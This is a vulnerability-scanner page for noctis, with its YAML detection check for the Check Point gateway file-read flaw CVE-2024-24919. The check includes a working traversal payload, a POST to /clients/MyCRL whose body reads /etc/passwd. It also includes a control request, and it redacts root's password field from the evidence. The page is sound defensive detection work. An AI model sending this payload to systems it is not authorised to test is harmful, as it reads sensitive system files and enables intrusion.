Check Point — 1 vulnerability check
noctis ships 1 vulnerability check for Check Point, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Check Point Quantum Security Gateway Information Disclosure
| CVE | CVE-2024-24919 |
|---|---|
| Severity | high · CVSS 8.6 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/checkpoint/CVE-2024-24919.yaml |
Tests Check Point Security Gateways for unauthenticated arbitrary file read via path traversal in the /clients/MyCRL POST body. A vulnerable gateway returns the contents of /etc/passwd in the HTTP 200 response. The same POST is then sent for an absent file in a random missing directory, and the gateway is reported only when that control gets an HTTP reply without the passwd root line, so a server that answers every request with the same file is not reported. Root's password field is redacted from the evidence.
How noctis detects it
- HTTP(S) request
POST /clients/MyCRLwith a crafted body - Checks
resp.bodyfor(?m)^root:[^:\r\n]*:0:0:[^:\r\n]*:([^:\r\n]*:[^:\r\n]*) - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /clients/MyCRLwith a crafted body - Parses / computes the next value with a Rhai script
- Checks
prooffor^root:<redacted>:0:0:→ finding QoD 75: POST /clients/MyCRL with body aCSHELL/../../../../../../../etc/passwd returned /etc/passwd (…); the same request for an absent file did not
References:
- https://nvd.nist.gov/vuln/detail/CVE-2024-24919
- https://support.checkpoint.com/results/sk/sk182337
- https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/
- https://github.com/seed1337/CVE-2024-24919-POC
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-24919.yaml
Feed source — tests/vulnerabilities/checkpoint/CVE-2024-24919.yaml
# Check Point Quantum Security Gateway Information Disclosure — CVE-2024-24919
#
# Check Point gateways with the Remote Access VPN or Mobile Access blade
# expose /clients/MyCRL unauthenticated. Sending a POST with a path traversal
# string as the body (aCSHELL/../../../../../../../etc/passwd) causes the
# gateway to read and return arbitrary filesystem files.
#
# Exploited by multiple threat actors (including Iranian APT groups) within
# 48 hours of public disclosure. CISA KEV-listed, EPSS 1.000.
#
# The traversal is in the POST body, so http_request can be used —
# reqwest does not modify POST bodies.
#
# Absent-file control: after the passwd read, the same POST is sent for an
# absent file (aCSHELL/../…/noctis-absent-<random>/etc/passwd) and the finding
# is raised only when that control gets an HTTP reply without a root passwd
# line, so a server returning passwd for every request is not reported (fails
# closed when the control gets no reply). QoD 75 (file content in the
# response), and the passwd file is not copied into the finding: only root's
# home:shell is kept, the password field is redacted. No Accept-Encoding: gzip
# header (the engine does not inflate gzip, so a compressed reply never matched).
uid: c4e8f3a7-2b5d-4c9e-8a1f-6d3b7e0c5f2a
name: "Check Point Quantum Security Gateway Information Disclosure (CVE-2024-24919)"
description: |
Tests Check Point Security Gateways for unauthenticated arbitrary file read
via path traversal in the /clients/MyCRL POST body. A vulnerable gateway
returns the contents of /etc/passwd in the HTTP 200 response. The same POST
is then sent for an absent file in a random missing directory, and the
gateway is reported only when that control gets an HTTP reply without the
passwd root line, so a server that answers every request with the same file
is not reported. Root's password field is redacted from the evidence.
cves: [CVE-2024-24919]
cvss: 8.6
severity: high
category: file-read
confidence_base: 0.20
tags: [checkpoint, vpn, ssl-vpn, lfi, path-traversal, kev, apt]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-24919"
- "https://support.checkpoint.com/results/sk/sk182337"
- "https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/"
- "https://github.com/seed1337/CVE-2024-24919-POC"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-24919.yaml"
steps:
# Pre-initialised so a failed request leaves status 0, not an undefined var.
- id: init-resp
action: set_var
var_name: resp
var_value: {status: 0, body: ""}
- id: init-proof
action: set_var
var_name: proof
var_value: ""
- id: init-ctrl-resp
action: set_var
var_name: ctrl_resp
var_value: {status: 0, body: ""}
- id: init-ctrl-clean
action: set_var
var_name: ctrl_clean
var_value: false
# ── POST body path traversal to read /etc/passwd ─────────────────────────
# http_request is safe here: the traversal is in the POST body, not the URL,
# so reqwest passes it verbatim without normalisation.
- id: lfi-probe
action: http_request
method: POST
path: "/clients/MyCRL"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
body: "aCSHELL/../../../../../../../etc/passwd"
store_as: resp
# No finding here: the raw body (root's password field included) must not
# become evidence. Only root's home:shell is captured.
- id: passwd-match
action: match
source: resp.body
pattern: "(?m)^root:[^:\\r\\n]*:0:0:[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n]*)"
condition: "resp.status == 200"
store_as: passwd_m
- id: passwd-redact
action: script
condition: "resp.status == 200"
code: |
if passwd_m.matched && passwd_m.captures.len() > 0 {
"root:<redacted>:0:0:<redacted>:" + passwd_m.captures[0]
} else { "" }
store_as: proof
# ── Control: same POST, absent file ──────────────────────────────────────
# A random missing directory, still ending in etc/passwd, so a honeypot keyed
# on that name answers it too.
- id: lfi-control
action: http_request
method: POST
path: "/clients/MyCRL"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'proof != ""'
body: "aCSHELL/../../../../../../../noctis-absent-{{oob_token}}/etc/passwd"
store_as: ctrl_resp
# Fail closed: the control must have answered, without a root passwd line.
- id: lfi-control-verdict
action: script
condition: 'proof != ""'
code: |
ctrl_resp.status != 0 && !ereg("(?m)^root:[^:\\r\\n]*:0:0:", ctrl_resp.body)
store_as: ctrl_clean
- id: report
action: match
source: proof
pattern: "^root:<redacted>:0:0:"
condition: "ctrl_clean == true"
on_match:
finding:
confidence_delta: 0.70
qod: 75
evidence: "POST /clients/MyCRL with body aCSHELL/../../../../../../../etc/passwd returned /etc/passwd ({{proof}}); the same request for an absent file did not"
stop: true